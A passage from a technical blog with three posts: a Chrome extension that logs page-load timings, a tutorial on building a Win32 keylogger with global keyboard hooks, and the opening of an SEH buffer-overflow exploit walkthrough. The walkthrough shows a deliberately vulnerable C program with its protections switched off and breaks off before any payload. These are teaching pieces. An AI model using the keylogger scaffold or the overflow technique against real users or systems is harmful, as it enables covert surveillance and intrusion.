But you can't tell Chrome to automatically log that information for each page load. There's an option to extract network metrics in a <a href="https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html" target="_blank">HTTP Archive (HAR) format</a>, but again, you can't automate that process without extending the DevTools.<br />
<br />
I browsed for extension that will meet my demands, and found that <a href="https://chrome.google.com/webstore/detail/page-load-time/fploionmjgeclbkemipmkogoaohcdbig" target="_blank">Page load time</a> extension has the closest abilities to what I need. Except the fact it doesn't have persistence.<br />
What are my choices?? Since I haven't wrote extensions before, it will be fascinating to create one and to get familiar with Chrome's APIs and tools.<br />
<br />
So, as I previously wrote, at the very least I wanted to get total page load time for each opened tab/window. To accomplish that, there're two possibilities: <a href="http://developer.chrome.com/extensions/devtools.network.html#method-getHAR" target="_blank">getHAR</a> method - which programmatically allows you to retrieve everything you see in the Network panel of development tools; or <a href="http://www.w3.org/TR/navigation-timing/" target="_blank">Navigation Timing API</a>. While HTTP Archive (HAR) object divides each page load into a small pieces of network requests, I needed something simpler and more general. To be honest, even the Navigation Timing API provides a much richer set of information than I needed. But I will use it for my purpose, as it is the simplest way to obtain those metrics.<br />
<br />
Let's look at what we have in this <b><i>Timing </i></b>object. It outputs many useful network info, like, redirect time, DNS lookup time, TCP handshake initialization time, request and response time, as well as other metrics. The timings are measured in milliseconds since January 1, 1970 in UTC in integer format.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/NavigationTiming/Overview.html#processing-model" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHn6UcosY10Kqr-nBuL1vjOcpSdgYr1mspSpNQMtjTumKbbunzisQIodhiBWDOuYS9nYzrfKk8wNws62jRB2UO7qIZLhEvXXhakt-jxoB4qT3fgYfdjIA_Did-XUwnQ-FtqXD0cK-bQOw/s1600/timing-overview.png" height="389" title="" width="640" /></a></div><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
At this stage, I knew exactly what I want to output. Each log record will contain a space-separated string with URL and each of the attributes from <b><i>Navigation.Timing</i></b> object. Now, let's look what required to create an extension in Chrome.<br />
<br />
The extension in Chrome is just a bunch of html/js files and a mandatory JSON-formatted manifest file. The <a href="https://developer.chrome.com/extensions/manifest.html" target="_blank">manifest file</a> declares which permissions the extension requires, which files are being used, the extension metadata like name, description and author, and more. Mine manifest file eventually looked like this:<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 644px;"><span style="font-size: 12px; line-height: 20px;">{
"manifest_version": 2,
"minimum_chrome_version": "22",
"name": "Performance Exporter",
"description": "This extension exports performance information.",
"version": "0.2",
"background": {
"scripts": ["background.js"]
},
"content_scripts": [{
"matches": ["*://*/*"],
"js": ["timer.js"]
}],
"icons": { "16": "icon16.png",
"48": "icon48.png",
"128": "icon128.png"
},
"permissions": [
"tabs",
"http://*/*",
"https://*/*",
"unlimitedStorage"
]
}
</span></pre><br />
It includes the name, description and version of my extension; the icons that are being used by the browser and Chrome WebStore. Rest of the attributes discussed later.<br />
The main extension code resides within two JavaScript files:<b><i> background.js</i></b> and <b><i>timer.js</i></b> under <b><i>background </i></b>and <b><i>content_scripts</i></b> attributes respectively.<br />
<br />
<a href="http://developer.chrome.com/extensions/background_pages.html" target="_blank">Background page</a> (<b><i>background.js</i></b> in my implementation) starts to run on extension initialization, exists for the lifetime of the extension, and only one instance of it at a time is active. It is generally used for sharing a common state or performing a common task, and both of them required by my extension as well.<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 644px;"><span style="font-size: 12px; line-height: 20px;">window.webkitRequestFileSystem(
PERSISTENT, // persistent vs. temporary storage
5 * 1024 * 1024, // size (bytes) of needed space
initFs, // success callback
errorHandler // opt. error callback, denial of access
);
</span></pre><br />
The extension initialization is done by creating file system using <b><i>window.webkitRequestFileSystem</i></b> function call. The default quota for File System API's persistent storage is 0, and therefore the extension explicitly asks for <i><b>unlimitedStorage </b></i>in the manifest file. <b><i>webkitRequestFileSystem </i></b>parameters are <b><i>PERSISTENT </i></b>for persistent storage, storage size amount of 5 megabytes, success and failure callbacks. On failure, I just print the error to the console. Success callback is slightly more interesting: I'm creating and saving the <b><i>FileWriter </i></b>object in a logFileWriter global variable, which will be used later for printing the logs.<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 644px;"><span style="font-size: 12px; line-height: 20px;">chrome.runtime.onMessage.addListener(
function(t, sender, sendResponse) {
// query is async, according to:
chrome.tabs.query({active: true, lastFocusedWindow: true}, function(tabs) {
var tab = tabs[0];
var tabUrl = tab.url;
if (t.loadEventEnd > 0) {
var record = String("\n");
record += tabUrl + " ";
// .. concatenate all the events timings
record += t.loadEventEnd;
var blob = new Blob([record], {type: 'text/plain'});
logFileWriter.seek(logFileWriter.length);
logFileWriter.write(blob);
}
});
});
</span></pre><br />
The 'common task' part of my background page is a listener for <a href="http://developer.chrome.com/extensions/messaging.html" target="_blank">message passing mechanism</a>. It's using Chrome's Runtime API that is available since version 22 (this is the reason why I added the <b><i>minimum_chrome_version</i></b> attribute in the extension manifest). The message listener is being added using the <a href="https://developer.chrome.com/dev/extensions/runtime.html#event-onMessage" target="_blank">chrome.runtime.onMessage.addListener</a> function call. This listener function will receive <b><i>performance.timing</i></b> objects, and will eventually print them into the log file.<br />
<br />
As I previously mentioned, there's one more JavaScript file named <b><i>timer.js</i></b>. It is classified as <a href="https://developer.chrome.com/extensions/content_scripts.html" target="_blank">content script</a>, and therefore will run in the context of each web page. Here comes to help the <b><i>matches </i></b>attribute in the extension manifest, which doesn't restrict the script run to a particular domain.<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 644px;"><span style="font-size: 12px; line-height: 20px;">(function() {
(function waitForCompletion() {
if(document.readyState == "complete")
chrome.runtime.sendMessage(performance.timing);
else
setTimeout(waitForCompletion, 300);
})();
})();
</span></pre><br />
On each page load, the extension samples the page for document load completion each 300 milliseconds, and once it completes, uses the message passing mechanism to send a message with a <b><i>performance.timing</i></b> object to the background process.<br />
<br />
The drawback of using the FileSystem APIs is that you can't specify a path to a log file. On my Windows 7 machine, it is located under <i><b>%localappdata%\Google\Chrome\User Data\Default\File System\001\p\00\00000000</b></i>, but it may differ from system to system.<br />
<br />
Launching the www.google.com page creates the following record in my log file:<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 750px;"><span style="font-size: 12px; line-height: 20px;">http://www.google.com/ 1373723797062 0 0 1373723797062 1373723797275 1373723797275 1373723797275 1373723797275 1373723797275 1373723797275 0 1373723797276 1373723797398 1373723797533 1373723797414 1373723797637 1373723797637 1373723797637 1373723799041 1373723799041 1373723799046
</span></pre><br />
For a convenient viewing and analyzing, I wrote additional tool that visualizes the raw output and highlights anomalies on any stage of a page loading process.<br />
The extension publishing process requires a one-time $5 fee, and is a pretty straightforward. A step-by-step publishing instructions can be found <a href="https://developers.google.com/chrome/web-store/docs/publish" target="_blank">here</a>.<br />
<br />
The extension can be installed from this link: <a href="https://chrome.google.com/webstore/detail/performance-exporter/dapljbeoaecogflnbcacgadmdaifjhje">https://chrome.google.com/webstore/detail/performance-exporter/dapljbeoaecogflnbcacgadmdaifjhje</a><br />
Full source code is available here: <a href="https://github.com/alipov/PerfTimingExporter">https://github.com/alipov/PerfTimingExporter</a>Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-7375818699629760462012-07-07T20:05:00.000+03:002012-11-10T10:06:02.995+02:00Keylogging with Win32 HooksKeylogger (from <a href="http://en.wikipedia.org/wiki/Keystroke_logging" target="_blank">Wikipedia</a>):<br />
<blockquote class="tr_bq">
Keystroke logging is the action of tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored.</blockquote>
<br />
It may seem strange, but there're many keylogging methods. People are getting more inventive as it comes to obtaining other people's secrets.<br />
Protecting your secrets becomes challenging task. Even more than you can think of. Depending on your level of paranoia, perhaps you have to make sure that:<br />
<ul>
<li>you're not using wireless keyboards </li>
<li>your keyboard installed directly into computer, and that there's no external device attached in between</li>
<li>you're using silent keyboard for preventing acoustic <a href="http://rakesh.agrawal-family.com/papers/ssp04kba.pdf" target="_blank">cryptanalysis attacks</a>, and if you don't have one - you have to install random keypress sound generating machine</li>
</ul>
<div>
And I didn't even mention software-based threats!</div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHbEFYBJnwgRqFfxw4Ba6NSSzwFJCjMPZSHjhsnr-dA6A_ytdBmk78kUXOqUdWknUJJTCNTDNUntMmcDtHlNCEkd3qsgydKvPuQZeBhcwwx2Sq-juouYtyo-2bPUlXk2keBuy-wLGDDqY/s1600/silent_keyboard.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHbEFYBJnwgRqFfxw4Ba6NSSzwFJCjMPZSHjhsnr-dA6A_ytdBmk78kUXOqUdWknUJJTCNTDNUntMmcDtHlNCEkd3qsgydKvPuQZeBhcwwx2Sq-juouYtyo-2bPUlXk2keBuy-wLGDDqY/s320/silent_keyboard.jpg" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Typical keylogger paranoid</td></tr>
</tbody></table>
<div>
Read the following excellent <a href="http://www.securelist.com/en/analysis/204791931/Keyloggers_How_they_work_and_how_to_detect_them_Part_1" target="_blank">article</a>, written by Nikolay Grebennikov, current CTO of Kaspersky Lab, where he outlines keylogger history including several publicized keylogging incidents.</div>
<div>
<br />
<a name='more'></a><span style="font-size: large;"><b>Software Keylogger</b></span></div>
<div>
<br />
Software keylogger is a program that monitors and logs user's keystrokes. Writing software keylogger generally means that you have to deal with low-level OS components. As I wrote previously, there're many methods for doing so, but I will focus on <b>Windows Hooks mechanism</b>.</div>
<div>
<br /></div>
<div>
Windows provides a mechanism where any application can intercept system events by installing a subroutine (aka filter function aka hook procedure) for trapping certain event type (such as message, mouse action or keystroke). This subroutine will be called each time this event occurs.</div>
<div>
<br /></div>
<div>
<i>Regular software programs</i> can install hook procedures for debugging purposes, mouse and keyboard input simulation, computer-based training (CBT) implementation and more. On the other hand, <i>malicious software</i> can misuse this mechanism mainly for logging keystrucks, mouse clicks and well.. everything you can think of given this set of exposed hook types.</div>
<div>
<br /></div>
<div>
There're two scope types of hooks: local and remote. Local hooks used to trap events that occur in your own process. Remote hooks trap events that occur in other processes (the Win32 API allows you to monitor a specific thread in a specific process or a whole system).</div>
<div>
<br /></div>
<div>
Of course, installing global hooks affects overall system performance, and should be used with care. Having a bug in hook procedure can crash the remote process. However, performance is not an issue of this post, so I will not go into details.</div>
<div>
<br /></div>
<div>
Win32 exposes three hook-related functions:</div>
<div>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx" target="_blank">SetWindowsHookEx</a> - for installing new hook procedure.</li>
<li><a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644974(v=vs.85).aspx" target="_blank">CallNextHookEx</a> - for passing hook information to the next hook procedure. The hooks are chained in a linked list. Therefore, once your hook procedure finished to process the message, you should pass it to the next linked list node.</li>
<li><a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644993(v=vs.85).aspx" target="_blank">UnhookWindowsHookEx</a> - for uninstalling hook procedure.</li>
</ul>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Installing a hook procedure</span></b></div>
</div>
<div>
<br /></div>
<div>
Let's look on <b>SetWindowsHookEx </b>function declaration in greater detail.<br />
<br /></div>
<div>
<div>
<pre>HHOOK WINAPI SetWindowsHookEx(
__in <span style="color: blue;">int</span> idHook,
__in HOOKPROC lpfn,
__in HINSTANCE hMod,
__in DWORD dwThreadId
);
</pre>
</div>
</div>
<div>
Function's return value is a handle to the hook procedure if succeeds, or NULL if fails. We have to save the handle, as we will have to use it in CallNextHookEx and UnhookWindowsHookEx functions.<br />
<br />
The <b><i>idHook </i></b>parameter specifies the type of hook procedure (i.e. mouse events, keyboard events and other messages). I'm interested in logging keystrokes, so I have two options: WH_KEYBOARD or WH_KEYBOARD_LL. Both hook types intercept keyboard input messages. WH_KEYBOARD_LL is a more powerful hook, because it intercepts the message sooner in the messaging system than WH_KEYBOARD hook. Another difference is that WH_KEYBOARD_LL can be installed only as a system-wide hook, whereas WH_KEYBOARD hook can be installed as both local and remote hook. For a more detailed comparison, see Chapter 12 in Stephen Teilhet's <a href="http://www.amazon.com/Subclassing-Hooking-Visual-Stephen-Teilhet/dp/0596001185" target="_blank">Subclassing and Hooking with Visual Basic</a> book.<br />
<br />
The <b><i>lpfn</i></b> parameter is a pointer to a hook procedure, which depends on a type of hook procedure. If you're using WH_KEYBOARD hook, then you should refer to <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644984(v=vs.85).aspx" target="_blank">KeyboardProc</a> callback function. In the same way, if you're using WH_KEYBOARD hook you should refer to <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx" target="_blank">LowLevelKeyboardProc</a> callback function.<br />
<br />
The <b><i>hMod </i></b>and <b><i>dwThreadId </i></b>are handle to DLL and thread identifier, respectively. These both parameters specify the scope of the hook procedure:<br />
<ul>
<li>For installing local hook, <i>hMod</i>'s value should be NULL; <i>dwThreadId </i>should receive one of your own process's thread IDs. </li>
<li>For installing remote thread-specific hook, <i>hMod </i>should receive a handle to the DLL that contains the hook procedure; <i>dwThreadId </i>should receive the remote process's thread ID.</li>
<li>For installing remote global hook, <i>hMod </i>should receive a handle to the DLL that contains the hook procedure; <i>dwThreadId </i>should receive a 0.</li>
</ul>
<div>
<br />
In this example I will install a global hook, therefore the function that installing the hook will look like that:<br />
<br />
<pre style="background-color: #ffffdc; background-position: initial initial; background-repeat: initial initial; color: black; font-family: Consolas; font-size: 13px;"><span style="color: blue;">int</span> AddHook()
{
HHook hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)HookProcedure, dllHandle, 0);
<span style="color: blue;">if</span>(hookHandle == NULL)
<span style="color: blue;">return</span> 0;
<span style="color: blue;">return</span> 1;
}</pre>
<br />
A brief description on what happens when user presses on a key:<br />
First, the keyboard sends a <a href="http://en.wikipedia.org/wiki/Scancode" target="_blank">scancode</a> to the keyboard driver. The driver converts the scancode to a <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx" target="_blank">virtual key</a>. The system creates a keyboard message structure, which includes message type and the virtual key, and sends it to the raw input thread (RIT). RIT will determine which application is supposed to receive the input, and then will add the message to the application's internal message queue. Then, the target application can use the Win32's GetMessage/PeekMessage functions to read the message.<br />
<br />
HookProcedure function is my LowLevelKeyboardProc filter function for handling and processing the keystrokes. Its parameters specify, among other things, the message type (wParam) and a pointer to a <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms644967(v=vs.85).aspx" target="_blank">KBDLLHOOKSTRUCT</a> structure (lParam). The KBDLLHOOKSTRUCT structure includes aforementioned scancode and virtual key.<br />
The general pattern for handling the keystrokes should be as following:<br />
<ol>
<li>Verify that the code parameter equals to HC_ACTION. If this is not true, you shouldn't process the message.</li>
<li>Monitor the WM_SYSKEYDOWN and WM_KEYDOWN messages.</li>
<li>Once you received a message that meets the 2nd section's condition, get the actual key from the KBDLLHOOKSTRUCT structure. <a href="http://thetechnofreak.com/technofreak/keylogger-visual-c" target="_blank">This post</a> does a great job explaining how to do that right, according to the current keyboard layout.</li>
<li>Write the key to a file / send it to a remote computer.</li>
<li>Call the CallNextHookEx function. The arguments of this function are the hook handle you get when you registered your hook procedure and the three parameters of the hook procedure.</li>
</ol>
<br />
<pre style="background-color: #ffffdc; background-position: initial initial; background-repeat: initial initial; color: black; font-family: Consolas; font-size: 13px;">LRESULT CALLBACK HookProcedure (
<span style="color: blue;">int</span> code, <span style="color: green;">// A code the hook procedure uses to determine how to process the message.</span>
WPARAM wParam, <span style="color: green;">// The identifier of the keyboard message.</span>
LPARAM lParam <span style="color: green;">// A pointer to a KBDLLHOOKSTRUCT structure.</span>
)
{
<span style="color: blue;">if</span>(code == HC_ACTION)
{
<span style="color: blue;">switch</span>(wParam)
{
<span style="color: blue;">case</span> WM_SYSKEYDOWN:
<span style="color: blue;">case</span> WM_KEYDOWN:
<span style="color: green;">// TODO: get the key value and do whatever you want with it</span>
<span style="color: blue;">break</span>;
}
}
<span style="color: blue;">return</span> CallNextHookEx(hookHandle, code, wParam, lParam);
}</pre>
<br />
Additional thing you have to bear in mind is the hook procedure location. Local hooks can be located in a DLL or in executable, but remote hooks have to reside in a DLL! This is because in remote hooking, your hook procedure should be injected into the address space of other processes. The only way this can be done is when the procedure resides in a DLL.<br />
<br />
<b><span style="font-size: large;">Uninstalling a hook procedure</span></b> <br />
<br /></div>
<div>
Uninstalling the hook procedure is simple. All you have to do is to call the UnhookWindowsHookEx function and pass your hook handle to it.<br />
<br />
<pre style="background-color: #ffffdc; background-position: initial initial; background-repeat: initial initial; color: black; font-family: Consolas; font-size: 13px;"><span style="color: blue;">int</span> UnloadHook()
{
BOOL result = UnhookWindowsHookEx(hookHandle);
<span style="color: blue;">return</span> result;
}</pre>
<br />
<br />
<b><span style="font-size: large;">To summarize</span></b><br />
<br />
We will call the AddHook() function usually from a separate executable, which will act as a loader. The hook procedure will start to monitor and log the keystrokes. It is recommended to keep this program alive, so it will unhook your procedure at the end of the usage.<br />
<br />
<br />
Image with quiet cover for keyboard <a href="http://www.geekstuff4u.com/thanko-keyboard-quiet-cover.html" target="_blank">taken from here</a>.</div>
</div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-55532573867559547062012-04-30T00:59:00.000+03:002012-07-07T16:00:40.039+03:00Simple Structured Exception Handling (SEH) Exploit ExampleIn this post I will demonstrate how to exploit Structured Exception Handling (SEH) buffer overflow vulnerability on x86 systems.<br />
<br />
<b><span style="font-size: large;"> What is Structured Exception Handling and how it works?</span></b><br />
<br />
Microsoft's <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx" target="_blank">Structured Exception Handling</a> is a mechanism for handling hardware and software exceptions (both system and user defined), which allows recovering from errors and perform cleanup if necessary instead of terminating a program immediately.<br />
<br />
The SEH represented as a linked list, whose records are stored on the stack. To ease access to this SEH chain, its head pointer maintained in <a href="http://en.wikipedia.org/wiki/Win32_Thread_Information_Block" target="_blank">Win32 Thread Information Block (TIB)</a> structure. The TIB structure stores information about currently running thread. On x86 systems, the FS segment register points on TIB structure. SEH chain head located at offset 0x00, and therefore, you can refer to SEH chain head as FS:[0].<br />
<br />
Each entry (_EXCEPTION_REGISTRATION_RECORD structure) consists from two 4-byte pointers:<br />
<ol>
<li>Pointer to the next exception registration record in the chain</li>
<li>Pointer to the exception handling routine</li>
</ol>
<div>
The chain's last record always contains 0xFFFFFFFF value as the "next entry" and pointer to OS default exception handler routine (located in ntdll.dll!FinalExceptionHandler)</div>
<br />
<a name='more'></a>Once the exception occurs, the runtime unwinds the stack and calls the exception handler routine associated with the first SEH entry. Exception handler should first decide what to do. It can handle the exception by itself (EXCEPTION_EXECUTE_HANDLER constant), pass the exception to next exception handler without doing anything (EXCEPTION_CONTINUE_SEARCH constant) or rerun the instruction that caused the exception (EXCEPTION_CONTINUE_EXECUTION constant). Once found appropriate handler that accepts to handle the exception, and the specified code executed, next statement after the exception handler block will be executed. <br />
<div>
<br /></div>
<div>
Note: C++ and .NET use other exception models, which are implemented on top of SEH. However, they are out of scope of this post. </div>
<div>
<br /></div>
<div>
For additional SEH-related info see:</div>
<div>
<a href="http://www.microsoft.com/msj/0197/exception/exception.aspx" target="_blank">Matt Pietrek's article</a></div>
<div>
<a href="http://blogs.msdn.com/b/cbrumme/archive/2003/10/01/51524.aspx" target="_blank">The Exception Model article by Chris Brumme</a> </div>
<div>
<br /></div>
<b><span style="font-size: large;">The Preparations</span></b><br />
<div>
<br />
As a target, I will use the same program from my <a href="http://alexlipov.blogspot.com/2012/04/return-oriented-programming-rop-exploit.html" target="_blank">last post</a>, with slight adjustments.<br />
<br />
Don't expect this program to do something reasonable - the code is only for demonstration purposes. It receives file name as program parameter, unsafely reads the file's content into local buffer. Then the buffer's content converted into integer and divided within the try-except block. <br />
<br /></div>
<div>
<pre style="background-attachment: initial; background-clip: initial; background-color: #ffffdc; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black; font-family: Consolas; font-size: 13px;"><span style="color: blue;">#include</span> <span style="color: #a31515;"><string.h></span>
<span style="color: blue;">#include</span> <span style="color: #a31515;"><stdio.h></span>
<span style="color: blue;">#include</span><span style="color: #a31515;"><windows.h></span>
<span style="color: blue;">void</span> foo (FILE * fileDescr)
{
<span style="color: blue;">char</span> c[12];
<span style="color: blue;">long</span> lSize;
<span style="color: blue;">int</span> mySecretNumber;
fseek (fileDescr , 0 , SEEK_END);
lSize = ftell (fileDescr);
rewind (fileDescr);
fread(c, 1, lSize, fileDescr);
mySecretNumber = atoi(c);
<span style="color: blue;">__try</span>
{
mySecretNumber = mySecretNumber / mySecretNumber;
}
<span style="color: blue;">__except</span> (EXCEPTION_EXECUTE_HANDLER)
{
printf(<span style="color: #a31515;">"In the exception handler"</span>);
}
}
<span style="color: blue;">int</span> main (<span style="color: blue;">int</span> argc, <span style="color: blue;">char</span> **argv)
{
FILE * fileDescr = NULL;
<span style="color: blue;">if</span>(fileDescr = fopen(argv[1], <span style="color: #a31515;">"r"</span>))
{
foo(fileDescr);
fclose(fileDescr);
}
}</pre>
</div>
<div>
<br />
I'm using fread function to allow stack buffer overflow, converting the buffer to integer using <a href="http://www.cplusplus.com/reference/clibrary/cstdlib/atoi/" target="_blank">atoi function</a> and dividing the file's contents for triggering the SEH mechanism with possible EXCEPTION_INT_DIVIDE_BY_ZERO exception.</div>
<div>
<br />
The dividing operation wrapped with <a href="http://msdn.microsoft.com/en-us/library/s58ftw19(v=vs.100).aspx" target="_blank">try-except statement</a>. This statement is Microsoft's extension to C language, which allows to utilize the Structured Exception Handling mechanism.<br />
<br />
As in previous post, I disabled the buffer security check(/GS-) and compiler optimization. Additionally, I disabled DEP (/NXCOMPAT:NO). If you have troubles with configuration, check my previous post for more details. Last but not least, I disabled <a href="http://msdn.microsoft.com/en-us/library/9a89h429.aspx" target="_blank">SAFESEH </a>in Visual Studio Project Properties > Linker > Command Line > Additional options > I added the "/SAFESEH:NO" option.<br />
<br />
<span style="font-size: large;"><b> SEH Chain</b></span><br />
<br />
I compiled the program and loaded the executable in IDA Pro.<br />
Look at the foo() function disassembly to see which code compiler generates:<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 99%;"><span style="font-size: 12px; line-height: 20px;">.text:00401000 var_2C= byte ptr -2Ch
.text:00401000 var_20= dword ptr -20h
.text:00401000 var_1C= dword ptr -1Ch
.text:00401000 var_18= dword ptr -18h
.text:00401000 var_10= dword ptr -10h
.text:00401000 var_4= dword ptr -4
.text:00401000 arg_0= dword ptr 8
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push 0FFFFFFFFh
.text:00401005 push offset unk_4021F8
<span style="color: red;">.text:0040100A push offset __except_handler3
.text:0040100F mov eax, large fs:0
.text:00401015 push eax
.text:00401016 mov large fs:0, esp</span>
.text:0040101D add esp, 0FFFFFFE4h
.text:00401020 push ebx
.text:00401021 push esi
.text:00401022 push edi
.text:00401023 mov [ebp+var_18], esp
.text:00401026 push 2
.text:00401028 push 0
.text:0040102A mov eax, [ebp+arg_0]
.text:0040102D push eax ; FILE *
.text:0040102E call ds:__imp__fseek
.text:00401034 add esp, 0Ch
.text:00401037 mov ecx, [ebp+arg_0]
.text:0040103A push ecx ; FILE *
.text:0040103B call ds:__imp__ftell
.text:00401041 add esp, 4
.text:00401044 mov [ebp+var_20], eax
.text:00401047 mov edx, [ebp+arg_0]
.text:0040104A push edx ; FILE *
.text:0040104B call ds:__imp__rewind
.text:00401051 add esp, 4
.text:00401054 mov eax, [ebp+arg_0]
.text:00401057 push eax ; FILE *
.text:00401058 mov ecx, [ebp+var_20]
.text:0040105B push ecx ; size_t
.text:0040105C push 1 ; size_t
.text:0040105E lea edx, [ebp+var_2C]
.text:00401061 push edx ; void *
.text:00401062 call ds:__imp__fread
.text:00401068 add esp, 10h
.text:0040106B lea eax, [ebp+var_2C]
.text:0040106E push eax ; char *
.text:0040106F call ds:__imp__atoi
.text:00401075 add esp, 4
.text:00401078 mov [ebp+var_1C], eax
.text:0040107B mov [ebp+var_4], 0
.text:00401082 mov eax, [ebp+var_1C]
.text:00401085 cdq
.text:00401086 idiv [ebp+var_1C]
.text:00401089 mov [ebp+var_1C], eax
.text:0040108C mov [ebp+var_4], 0FFFFFFFFh
.text:00401093 jmp short loc_4010
.text:00401095 mov eax, 1
.text:0040109A retn
.text:0040109B mov esp, [ebp-18h]
.text:0040109E push offset aInTheException ; "In the exception handler"
.text:004010A3 call ds:__imp__printf
.text:004010A9 add esp, 4
.text:004010AC mov [ebp+var_4], 0FFFF
.text:004010B3 loc_4010B3:
<span style="color: red;">.text:004010B3 mov ecx, [ebp+var_10]</span>
<span style="color: red;">.text:004010B6 mov large fs:0, ecx</span>
.text:004010BD pop edi
.text:004010BE pop esi
.text:004010BF pop ebx
.text:004010C0 mov esp, ebp
.text:004010C2 pop ebp
.text:004010C3 retn
.text:004010C3 foo endp</span><span style="color: black; font-family: arial; font-size: 12px; line-height: 20px;">
</span></pre>
<br />
The most interesting instructions marked in red.<br />
In the very beginning (starting from .text:0040100A), both exception handler's address and address of the next entry in the SEH chain (FS:0, remember?) pushed onto the stack. Just before the function completes (.text:004010B3), address of next entry in the SEH chain copied back to the head.<br />
<br />
Let's run the program and see how the stack looks like:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
